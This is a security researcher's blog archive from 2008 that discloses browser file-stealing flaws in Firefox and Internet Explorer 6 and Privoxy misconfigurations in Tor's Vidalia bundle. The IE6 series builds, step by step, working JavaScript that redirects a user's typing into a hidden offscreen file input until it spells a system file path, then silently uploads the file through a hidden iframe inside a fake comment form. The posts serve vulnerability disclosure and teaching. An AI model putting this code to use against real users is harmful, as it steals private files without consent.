Firefox File Stealing - Part 1

I've posted the first part of the demonstrations for the Mozilla Firefox file stealing vulnerabilities discussed in MFSA 2008-02: Multiple file input focus stealing vulnerabilities.

The page is available from here.

These demonstrations are currently available in Bugzilla, but I wanted to tie them together with some of the other file stealing vulnerabilities. There is quite of list of other Bugzilla entries detailing possible file stealing attacks, some of which reach all the way back to the year 2000.

I find the two demos very fascinating, because they represent failures to fully address a vulnerability. The original vulnerability was related to using the 'focus()' method to set the focus on a label. Unfortunately, not all of the code paths were examined and it was possible to redirect the focus by clicking on a nested label or by programmatically creating and sending a "click" MouseEvent.

I will post the second part after I confirm that the other "spoofing" vulnerabilities were fully addressed in Opera.

Posted by gfleischer on 2008/03/09 at 22:25 in Vulnerabilities

Java SE 6 Update 5 Available - Multiple Security Vulnerabilities Fixed

Sun recently released Java SE 6 Update 5: Java SE Downloads (Release Notes).

Included are several important security fixes:

I'll followup with some additional information on the JavaScript privilege elevation (#233326) after I can do some more testing.

Posted by gfleischer on 2008/03/05 at 14:55 in Vulnerabilities

Firefox File Stealing, MFSA 2008-02, and Opera

I have been refraining from commenting on any specifics regarding the Mozilla Firefox file stealing vulnerabilities discussed in MFSA 2008-02: Multiple file input focus stealing vulnerabilities, because Mozilla notified me that some of the details would be embargoed pending fixes from other browser vendors. So, I was a little surprised with Opera's announcement that:

Mozilla notified us of one security issue ( :smile: ) the day before they published their public advisory ( :worried: ). They did not wait for us to come back with an ETA for a fix: they kept their bug reports containing the details of the exploits closed to the public for a few days, and now opened most of them to everybody ( awww ).

This was picked up by The Register and Slashdot as well as numerous personal blogs.

But as best as I can tell, Mozilla has not released details for any of the proofs-of-concept exploits that Opera may be vulnerable to. The samples for the focus shifting bugs don't appear to affect Opera. If Opera is in fact vulnerable to any of the released information, I would be very interested in finding out more about it.

In any case, once the details for Bugzilla #413135 are opened to the public, I will be posting online versions of the sample exploits.

Posted by gfleischer on 2008/02/19 at 21:53 in Vulnerabilities

File Stealing in Internet Explorer 6 - Final Part

This is the sixth and final part of a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The previous posts start by examining the base vulnerability (ability to selectively redirect keypress events) and built upon that vulnerability to construct an effective file stealing attack. The prior posts: part one, part two, part three, part four, and part five.

The final demonstration makes several cosmetic improvements. First, the file to steal is no longer hard-coded to "C:\boot.ini". Instead, it can be edited and set to a desired value (e.g., "C:\windows\repair\sam"). Prior demonstrations never supported actually submitting the file. The ability to automatically upload files was added and can be activated by unchecking "Standalone Demo?".

Most importantly the file input element is placed in its own div and styled with CSS to be absolutely positioned at negative coordinates so that it is not visible on the screen:

  position: absolute;
  left: -1000px;
  top: -100px;

The use of "display: none;" is not possible. If the file input element is not displayed, the following error is generated when attempting to set the focus on the element: Can't move focus to the control because it is invisible, not enabled or of a type that does not accept the focus.

In order to convey what characters have been captured, the file input element contents are displayed inside the green box at the bottom of the textarea.

A second form is added to the page and the file input element is placed inside of it:

<form id="form2" method="post" 
target="file_target"
enctype="multipart/form-data" 
action="upload.cgi">

The form is defined to have a target of file_target which has been added as an iframe:

<iframe name="file_target" height="350" width="700"></iframe>

By using an iframe and separate form, the attack could be constructed so that there is no visual indication that a file has been uploaded. For demonstration purposes, the results of the file upload are shown. It should be noted though that the original form input values are unaffected by the file submission and functionality is not otherwise impacted.

This concludes the discussion of Internet Explorer 6 file stealing vulnerabilities. Future posts will examine Internet Explorer 7 and how these vulnerabilities affect it. Lessons learned from IE6 will be applied to help construct possible attacks.

Posted by gfleischer on 2008/01/19 at 19:36 in Vulnerabilities

File Stealing in Internet Explorer 6 - Part 5

This is part five in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. Prior posts build upon each other: part one, part two, part three, and part four.

The fifth demonstration marks the move to a more plausible layout. The layout mimics that of many common blog comment sections. This is an area where normal users could be expected to enter a reasonable amount of text including special characters. Although not shown in these demonstrations, the addition of a CAPTCHA could be used to further improve the attack.

In prior demonstrations, only a single textarea was used. This allowed for hard-coding of the events and handling of the cursor and selections. By adding more controls, the hard-coding approach is no longer feasible. Instead, a list of controls is constructed and a global current_obj variable is used to track the currently active control:

var controls = new Array();
var current_obj = null;
var offsets = new Object();

The controls to hook are registered:

    register_control(document.getElementById("user_name"));
    register_control(document.getElementById("email_address"));
    register_control(document.getElementById("website"));
    register_control(document.getElementById("text1"));

The control registration function associates a generic event handler with the control:

function register_control(control) {
    control.value = "";
    control.attachEvent("onkeyup", dispatch_text_event);
    control.attachEvent("onkeydown", dispatch_text_event);
    control.attachEvent("onmousedown", dispatch_text_event);
    control.attachEvent("onmouseup", dispatch_text_event);
    control.attachEvent("onfocus", dispatch_text_event);
    controls.push(control);
    offsets[control.id] = -1;
}

The dispatch_text_event event handler is responsible for determining the appropriate action to take when an event is raised:

function dispatch_text_event() {
    switch (event.type) {
    case "keydown":
	text_keydown(event, event.srcElement);
	break;
    case "keyup":
    case "mousedown":
    case "mouseup":
    case "focus":
	current_obj = event.srcElement;
	snapshot();
	break;
    default:
	window.status = "UNHANDLED: " + event.type + "(" + event.srcElement.id + ")";
    }
}

For keydown events, the event will be handled by the text_keydown function. But for all other events, the current_obj is set to the source of the event and the snapshot function is used to record the current cursor position and document selection.

The snapshot function has been updated to handle both textarea elements and text input elements:

function snapshot() {

    start_pos = 0;
    end_pos = 0;

    if (document.selection){
	var range = document.selection.createRange();
	if (null != range) {
	    var stored_range = range.duplicate();
	    if (null != stored_range) {
		if ("TEXTAREA" == current_obj.tagName) {
		    // from
		    // http://www.bazon.net/mishoo/articles.epl?art_id=1292
		    var cv = current_obj.value;
		    var caret_pos = get_caret_pos(current_obj, range);
		    for (var i = 0; i < caret_pos; ++i) {
			if ("\r" == cv.charAt(i)) {
			    ++caret_pos;
			}
		    }
		    start_pos = caret_pos;
		    end_pos = start_pos + range.text.length;
		} else {
		    // from http://the-stickman.com/web-development/javascript/finding-selection-cursor-position-in-a-textarea-in-internet-explorer/
		    stored_range.expand('textedit');
		    stored_range.setEndPoint('EndToEnd', range);
		    start_pos = stored_range.text.length - range.text.length;
		    end_pos = start_pos + range.text.length;
		}
	    }
	}
    }

}

Several important changes have been made to fully support textareas. First, "The Right, undocumented solution" is used to determine the caret position within the textarea. An improvement to this method is made by dynamically determining the offset within the bookmark data. The get_caret_pos function is responsible for this:

function get_caret_pos(obj, range) {
    var offset = offsets[obj.id];
    if (offset < 0) {
	var r = obj.createTextRange();
	if (null != r) {
	    r.move("character", 0);
	    offset = offsets[obj.id] = Math.floor(r.getBookmark().charCodeAt(2));
	}
    }
    var bookmark = range.getBookmark();
    var cc = bookmark.charCodeAt(2);
    return Math.floor(cc) - offset;
}

The second important change for the textarea is to track the number of carriage-return ("\r") characters that appear and adjust the position accordingly. After a keystroke is re-directed from a textarea, the cursor can always be reset to the exact position.

For text input elements, the same basic approach from prior demonstrations can be used. Since there are no carriage-returns to be concerned with, the text range method is sufficient. A slight change is required though. Note that:

	stored_range.moveToElementText(text1);

is changed to:

	stored_range.expand('textedit');

Additional keystroke restrictions are added to the file input element. These are meant to provide protection against inadvertent user input or interaction with the file input. By intercepting any mouse clicks or keydown events in the file input field, undesired actions can be avoided. For instance, if the user was able to tab into the file input field and then execute a backspace or delete keystroke, already captured data would be lost. The file_click and file_keydown event handlers:

function file_click(e) {
    if (null != current_obj) {
	current_obj.focus();
    }
    return false;
}

function file_keydown(e) {

    var kc = e.keyCode;

    var redirect_key = false;

    switch (kc) {
    case 8: // backspace
        break;
    case 9: // tab
        break;
    case 13: // return
        break;
    case 16: // shift
	redirect_key = true;
        break;
    case 17: // ctrl
        break;
    case 18: // alt
        break;
    case 19:  //pause
        break;
    case 20: // caps lock
        break;
    case 27: // escape
        break;
    case 33: // page up
        break;
    case 34: // page down
        break;
    case 35: // end
        break;
    case 36: // home
        break;
    case 37: // left arrow
        break;
    case 38: // up arrow
        break;
    case 39: // right arrow
        break;
    case 40: // down arrow
        break;
    case 44: // print screen
        break;
    case 45: // insert
        break;
    case 46: // delete
        break;
    case 91: // left windows
    case 92: // right windows
    case 93: // right menu
        break;
    case 112: // f1 .. f22
    case 113:
    case 114:
    case 115:
    case 116:
    case 117:
    case 118:
    case 119:
    case 120:
    case 121:
    case 122:
    case 123:
    case 124:
    case 125:
    case 126:
    case 127:
    case 128:
    case 129:
    case 130:
    case 131:
    case 132:
    case 133:
    case 134:
    case 135:
        break;
    case 144: // num lock
        break; 
    case 145: // scroll lock
        break;
    case 224: // meta
        break
    default:
	redirect_key = !e.ctrlKey && !e.metaKey;
        if (0 == kc && !e.shiftKey) {
	    redirect_key = false;
	}
    }

    return redirect_key;
}

The remaining changes simple reference the current_obj in place of the hard-coded textarea. In doing so, any text entered in any of the input controls can be used to complete the desired file path.

By slightly modifying the approach to support multiple text input and textarea elements, the effectiveness of the attack is greatly increased. A file stealing attack has a much higher chance of success when it is combined with a familiar user interface and could be seamlessly integrated into existing content with a minimal amount of effort.

Posted by gfleischer on 2008/01/18 at 12:34 in Vulnerabilities

File Stealing in Internet Explorer 6 - Part 4

This is part four in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The first part presents background information. The second part discusses targeting the "C:\boot.ini" file, and the third part improves the capture mechanism by intelligently positioning the cursor in the file element.

Part four starts with the simple observation that the backslash character ('\') appears very rarely in typed text on the Internet. Unless, of course, your primary form of communication is emoticons ( \m/ - ROCK! ), or you enter a lot of control characters (e.g., "\r\n\t\v\b").

Fortunately, as the fourth demonstration shows, Internet Explorer treats the forward slash ('/') as a completely interchangeable character. Just as the backslash is often used to bypass file filter checks against IIS on Windows, the forward slash can be used in place of the backslash.

The code is modified to use both separators:

var sep_code = String("\\").charCodeAt(0);
var alt_sep_code = String("/").charCodeAt(0);

When deciding on the files to capture:

    wanted = wanted.toLowerCase();
    alt_wanted = wanted.replace(/\\/g, "/");

And searching for characters to capture:

if ((!matched[i]) && (
	    (target[i] == current) ||
		((target[i] == sep_code) && (alt_sep_code == current))
	)) {

In this way, the attack doubles its chances of matching a backslash by allowing either a '\' or a '/'.

So, quick as you can type, "I <3 http://blogs.msdn.com/ie/", your "C:\boot.ini" file could have been stolen.

Posted by gfleischer on 2008/01/16 at 23:49 in Vulnerabilities

File Stealing in Internet Explorer 6 - Part 3

This is the third part in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The first part presents background information. The second part discusses targeting the "C:\boot.ini" file.

In the third demonstration, we implement Bart van Arnhem's technique to use a text range to arbitrarily position the cursor within the file input element. This approach makes the attack an order of magnitude more effective, because the characters in the desired file name can be captured in any order.

We no longer need to matched the reversed file name. Instead, a parallel array of flags is created to store when a character is matched:

    wanted = wanted.toLowerCase();

    for (var i = 0; i < wanted.length; ++i) {
        target[i] = wanted.charCodeAt(i);
	matched[i] = false;
    }

The file_keypress function is modified to use this array when searching for characters to match:

    current = c.toLowerCase().charCodeAt(0);
    for (var i = 0; i < target.length; ++i) {
	if ((!matched[i]) && 
		(target[i] == current)
	    ) {
	    var orig_pos = i;
	    var insert_pos = orig_pos;
	    for (i = 0; i < orig_pos; ++i) {
		if (!matched[i]) {
		    --insert_pos;
		}
	    }
	    var range = file1.createTextRange();
	    if (null != range) {
		range.collapse(true);
		range.move("character", insert_pos);
		range.select();
		matched[orig_pos] = true;
		++idx;
		return true;
	    }
	}
    }    

The code is worth examining in detail. The list of target characters is iterated through and searched for a character that matches the current character but hasn't been matched previously. Once one is located, the original match position is stored (orig_pos) and the default insertion point is set (insert_pos). Next, the number of currently unmatched characters preceding the match is used to adjust the insertion point backwards. The intuitive way to think about this is that space needs to be reserved on the left of the string for characters that haven't been matched yet. When those characters are matched, they will fill in those positions and shift everything else to the right.

An example should help illustrate this. Consider that the string "tiboocin:.\" is entered:

 - Initial State -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    _   _   _   _   _   _   _   _   _   _   _

 - "t" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [ ] [ ] [ ] [X] [ ] [ ] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    t   _   _   _   _   _   _   _   _   _   _

 - "i" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [ ] [ ] [ ] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    t   i   _   _   _   _   _   _   _   _   _

 - "b" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [X] [ ] [ ] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    b   t   i   _   _   _   _   _   _   _   _

The "t" character is matched at offset 6, but there are six unmatched entries before it, so it is inserted at position 0. When "i" is matched at position 8, there are seven unmatched entries preceding it, and it is placed at position 1. The "b" is matched at position 3 and is inserted at position 0 since there are three unmatched entries preceding it. And so on until the entire string is matched:

 - "o" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [X] [X] [ ] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    b   o   t   i   _   _   _   _   _   _   _

 - "o" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [X] [X] [X] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    b   o   o   t   i   _   _   _   _   _   _

 - "c" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [ ] [ ] [X] [X] [X] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   b   o   o   t   i   _   _   _   _   _

 - "i" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [ ] [ ] [X] [X] [X] [X] [ ] [X] [ ] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   b   o   o   t   i   i   _   _   _   _

 - "n" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [ ] [ ] [X] [X] [X] [X] [ ] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   b   o   o   t   i   n   i   _   _   _ 

 - ":" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [X] [ ] [X] [X] [X] [X] [ ] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   :   b   o   o   t   i   n   i   _   _

 - "." matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [X] [ ] [X] [X] [X] [X] [X] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   :   b   o   o   t   .   i   n   i   _

 - "\" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [X] [X] [X] [X] [X] [X] [X] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   :   \   b   o   o   t   .   i   n   i

Allowing the characters to matched in any order improves the attack by reducing the amount of text a user is required to enter.

Posted by gfleischer on 2008/01/14 at 22:04 in Vulnerabilities

File Stealing in Internet Explorer 6 - Part 2

This is the second part in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The first part is available here and contains important background information.

We start by examining the second demonstration. The second demonstration is the first real step towards file stealing. Although on the surface it appears very similar to the first demonstration, several important changes have been made under the skin.

The first is that the "C:\boot.ini" file is being targeted. This is a common file present on most NT-family systems and is typically (though not always) readable by users (thus, it is good for demonstration purposes). Since Windows will match files in case-insensitive manner, the file can be converted to lowercase ("c:\boot.ini") and matched against entered characters of any case. So, the if the user enters "C:\BoOT.iNI" or "c:\bOOt.InI", these are functionally equivalent.

In the discussion of the first demonstration, it was noted that when the focus was explicitly set in the file input element, it was always set at the first character. As a result, the letters to need to be collected in a reverse order. This can be seen in the following code:

    wanted = wanted.toLowerCase();
    var wl = wanted.length;
    for (var i = 0; i < wanted.length; ++i) {
        target[--wl] = wanted.charCodeAt(i);
    }

The matching logic in file_keypress is also updated to compare against the new target. An index value is used to maintain the current location and compare against any entered keystrokes:

    if (!e.repeat) {
	current = c.toLowerCase().charCodeAt(0);
	if ((1 == buffer.length) &&(target[idx + 1] == current)) {
            ++idx;
            return true;
	}
    }

Note the check to see if the event is being repeated. A keypress event will be repeated if multiple characters are being entered without the corresponding keyup event firing. This causes the characters to be entered out of order for the check and the file will fail to be captured properly. In fact, the submission logic in file_keyup has an explicit check for that situation and resets the form if it is detected:

    if (target.length - 1 == idx) {
	if (
	    (wanted == file1.value.toLowerCase())
	){
	    if (!submitted) {
		submitted = true;
	    	alert("submit goes here");
	    }
	    workarea.style["display"] = "none";
	    return;
	} else {
	    // start over
	    var save = text1.value;
	    form1.reset();
	    text1.value = save;
	    idx = -1;
	}
    }

The file_keyup function was also updated to insert captured characters into the textarea in a more reasonable fashion. This is accomplished by tracking the user's current caret (start_pos) and selection (end_pos) in the textarea and then inserting any captured characters at that point. Following the edit, the cursor is reset to that position so additional entered text appears at the correct location:

    if (buffer.length > 0) { 
	var tv = text1.value;
	text1.value = tv.substring(0, start_pos)
	    + buffer
	    + tv.substring(end_pos, tv.length);

	start_pos += buffer.length;

	buffer = "";

    }

    var range = text1.createTextRange();
    if (null != range) {
	range.collapse(true);
	range.move("character", start_pos);
	range.select();
    }

In order to capture the start and end positions, a snapshot function is used. Unlike Mozilla Firefox with it selectionStart and selectionEnd functions, Internet Explorer doesn't offer a simple mechanism to determine the information. This article for determining the cursor position in a textarea was extremely useful. That document.selection logic is implemented to determine start and end offsets in the snapshot function:

if (document.selection){
	// from http://the-stickman.com/web-development/javascript/finding-selection-cursor-position-in-a-textarea-in-internet-explorer/
	var range = document.selection.createRange();
	if (null != range) {
	    var stored_range = range.duplicate();
	    if (null != stored_range && null != text1) {
		stored_range.moveToElementText(text1);
		stored_range.setEndPoint('EndToEnd', range);
		start_pos = stored_range.text.length - range.text.length;
		end_pos = start_pos + range.text.length;
	    }
	}
    }

The textarea has two additional event handlers added. The onmousedown and onmouseup handlers are used to capture any cursor and selection changes that might occur through mouse clicks or cut/copy/paste operations from the mouse context menu:

<textarea name="text1" id="text1" rows="15" cols="80"
onkeydown="return text_keydown(event);"
onmousedown="snapshot();"
onmouseup="snapshot();"
></textarea>

And finally, the text_keydown function is modified to allow more key codes so that the ':', '\' and '.' characters can be captured while at the same time preventing copy/paste and menu operations from impacting the file element. A snapshot of the current cursor selection is also taken before the focus is redirected to the file element.


    if (kc > 46) {
	switch (kc) {
	case 91: // left windows
	case 92: // right windows
	case 93: // right menu
            break;
	case 112: // f1 .. f22
	case 113:
	case 114:
	case 115:
	case 116:
	case 117:
	case 118:
	case 119:
	case 120:
	case 121:
	case 122:
	case 123:
	case 124:
	case 125:
	case 126:
	case 127:
	case 128:
	case 129:
	case 130:
	case 131:
	case 132:
	case 133:
	case 134:
	case 135:
            break;
	case 144: // num lock
            break; 
	case 145: // scroll lock
            break;
	case 224: // meta
            break
	default:
	    if (!e.ctrlKey  && !e.metaKey) {
		snapshot();
		file1.focus();
	    }
	}
    }

Although crudely presented, this demonstration would be perfectly sufficient to steal files if the code was modified to automatically submit the form once the appropriately keystrokes had been captured.

Of course, there are still several problems with the demonstration. The file must be captured in reverse order, the insertion logic into the textarea doesn't handle line breaks properly and the layout leaves something to be desired. All of these will be dealt with in future revisions of the demonstration.

Posted by gfleischer on 2008/01/13 at 23:12 in Vulnerabilities

File Stealing in Internet Explorer 6 - Part 1

On 5 June 2006, Charles McAuley posted a message to the Full-Disclosure mailing list that discussed file input element vulnerabilities in Firefox and Internet Explorer. In it, he showed how the file upload input element can be attacked by selectively redirecting the focus from an ordinary text input element to the file input element. Once the appropriate keystrokes had been captured, the file could be automatically uploaded without the user ever knowing.

A few days later, Bart van Arnhem posted a reply message with the observation that Internet Explorer allowed file input element to be treated as a text range. As a result, the characters to be captured could be entered in an arbitrary order by selectively setting the current caret point. This significantly reduced the complexity of the attack and greatly increases the probability that the appropriate characters can be captured.

These vulnerabilities remain unfixed in Internet Explorer 6 after nineteen months. See my previous post Web Browser File Stealing Vulnerabilities Are Important for more information on why these types of vulnerabilities can have a significant impact on users.

To help people understand what exposure they may have, I've constructed a set of demonstrations that start from the basic observation that keystrokes can be selectively captured and end with an actual file stealing attack. I will be discussing these in multiple posts as a sort of pedagogical progression. If you are impatient, the entire set is available here.

The first demonstration simply shows how the keystrokes in a textarea can be selectively be captured into a file input element. Any upper or lower case vowels will be captured and will appear in the file input element. This is accomplished by associating an onkeydown event handler with the textarea:

<textarea name="text1" id="text1" rows="15" cols="80"
onkeydown="return text_keydown(event);"
></textarea>

The onkeydown event handler examines the entered key code and if it falls in the appropriate range, the focus is redirected to the file input element:

function text_keydown(e) {

    var kc = e.keyCode;

    if (kc > 46 && kc <= 90) {
	if (!e.ctrlKey  && !e.metaKey) {
	    file1.focus();
	}
    }
    return true;
}

The file input element has two event handlers associated with it, onkeypress and onkeyup:

<input type="file" id="file1" name="file1" 
onkeypress="return file_keypress(event);"
onkeyup="return file_keyup(event);"
/>

A little background information is required to understand why the event handlers are structured such as they are. When a user enters a keystroke, there are three events that occur before the keystroke is fully completed. The first is the keydown event, then keypress event and finally a keyup event.

Some additional observations are required though. Multiple keydown events can be fired for a single keypress event. And multiple keypress events may have been triggered for a single keyup event. As an example, the keystroke "Ctrl+C" (typically copy selected text) requires two keydown events to fire before the one keypress event. And simply depressing the space bar and holding will generate multiple keypress events but only a single keyup event. See the DOM Events Wikipedia article for more information or this discussion of JavaScript key events.

After the user has pressed a key and the focus has been transferred to the file input element from the text_keydown handler function, the file_keypress function will be fired:

function file_keypress(e) {

    var current = e.charCode ? e.charCode : e.keyCode;

    var c = String.fromCharCode(current);
    buffer += c

    if (-1 != vowels.indexOf(c)) {
        return true;
    }

    return false;
}

The file_keypress event handler retrieves the current character and append it to a buffer. If the character matches a vowel, a true value is returned from the function. If the character is not a vowel, a false value is returned instead. Returning false has the effect of causing the file input element to reject the character entered. In this way, individual characters can selectively be captured.

When the user releases the key, the file_keyup event will be activated:

function file_keyup(e) {
    text1.value += buffer;
    text1.focus();
    buffer = "";
}

This function naively appends any captured characters to the end of the textarea and clears the buffer. It also sets the focus back on the textarea.

An important observation to make is that the characters are being entered into the file input element in the reverse order. This is because setting the focus causes the cursor to be set at the first character of the text input. That behavior is why many file stealing demonstrations for Internet Explorer captured the file name backwards.

The remainder of the demonstrations will be discussed in future posts. Fully understanding the Internet Explorer 6 behavior will be beneficial when examining what attacks could be constructed against Internet Explorer 7.

Posted by gfleischer on 2008/01/12 at 22:43 in Vulnerabilities

Insecurities in Tor Vidalia Privoxy Configurations - Details

At the end of October, the Tor project released updated Vidalia bundles that addressed some insecurities in the Privoxy configuration that existed in versions prior to 0.1.2.18. I posted the following brief advisory to the or-talk mailing list at the time:

Versions of the Vidalia bundle prior to 0.1.2.18 install Privoxy with
an insecure configuration file.  Both Windows and Mac OS X versions
are affected.  The installed 'config.txt' file ('config' on Mac OS X)
had the following option values set to 1:

  - enable-remote-toggle
  - enable-edit-actions

Additionally, on Windows the following option was set to 1:

  - enable-remote-http-toggle

Malicious sites (or malicious exit nodes) could include active content
(e.g., JavaScript, Java, Flash) that caused the web browser to:

  - make requests through the proxy that causes Privoxy filtering to
    be bypassed or completely disabled

  - establish a direct connection from the web browser to the local
    proxy and modify the user defined configuration values

The Privoxy documentation recommends against enabling these options in
multi-user environments or when dealing with untrustworthy clients.
However, the documentation does not mention that client-side
web browser scripts or vulnerabilities could be exploited as well.

It should be noted that using Tor is not a prerequisite for some of
these attacks to be successful.  Users of Tor may be at greater risk,
because malicious exit nodes can inject content into otherwise trusted
sites.

In order to allow time for people to upgrade, additional attack
details and sample code will be withheld for a couple of days.

That "couple of days" got stretched to nearly a month since I decided to hold off until Firefox 2.0.0.10 was released. But, full details and sample exploit code are now available. Enjoy.

Posted by gfleischer on 2007/11/29 at 11:07 in Vulnerabilities


Subscribe
RSS 2.0
Quick Links
Content
Info

Categories
Archives
Sitemap
Valid XHTML 1.0 Transitional Valid CSS!